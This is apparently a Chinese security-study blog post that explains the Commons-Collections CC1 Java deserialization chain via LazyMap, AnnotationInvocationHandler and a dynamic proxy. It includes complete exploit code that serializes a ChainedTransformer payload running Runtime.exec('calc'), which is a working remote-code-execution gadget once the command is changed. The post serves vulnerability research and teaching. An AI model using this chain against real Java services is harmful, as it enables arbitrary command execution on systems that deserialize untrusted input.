Java反序列化Commons-Collections02 -CC1链(LazyMap)
上一篇文章中我们分析了CC1 链当中的 TransformMap 的反序列化攻击,这次补充一下正版的CC1链
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java
直接进入到LazyMap类去分析get方法
发现这里出现了transform方法,并且get方法的作用域为public
寻找链子
由于factory.transorm,所以找一下factory是什么,这里发现其实是个Transformer类
类似地我们构造此exp,证明此链可行
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer a=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//a.transform(runtime);
HashMap<Object,Object> hashMap=new HashMap<>();
hashMap.put("key","value");
Map lazydecorateMap= LazyMap.decorate(hashMap,a);
Class<LazyMap> lazyMapClass= LazyMap.class;
Method getmethod=lazyMapClass.getDeclaredMethod("get",Object.class);
getmethod.setAccessible(true);
getmethod.invoke(lazydecorateMap,runtime);
}
向上寻找readObject入口类
然后在AnnotationInvocationHandler类中找到了get方法的使用,其中get方法还是在invoke方法里
这个类还继承了InvocationHandler接口类,它是代理实例的调用处理程序实现的接口,这意味着我们可以通过动态代理调用invoke方法
在这里调用了entrySet()方法,也就是说,如果我们将 memberValues 的值改为代理对象,当调用代理对象的方法,那么就会跳到执行 invoke() 方法,最终完成整条链子的调用。
最终的EXP
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//a.transform(runtime);
HashMap<Object,Object> hashMap=new HashMap<>();
hashMap.put("key","value");
Map lazydecorateMap= LazyMap.decorate(hashMap,chainedTransformer);
Class lazyMapClass= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = lazyMapClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, lazydecorateMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
serialize(invocationHandler);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
Java虚拟机发现 proxyMap 是一个代理对象。
JVM不会去调用任何真实的 entrySet() 方法,而是会自动跳转到创建代理时指定的 invocationHandler.invoke() 方法!
总结
低版本可以使用,如8u65,高版本jdk8u71就不能利用了。通过动态代理利用invoke方法,实现可控方法。
License:
CC BY 4.0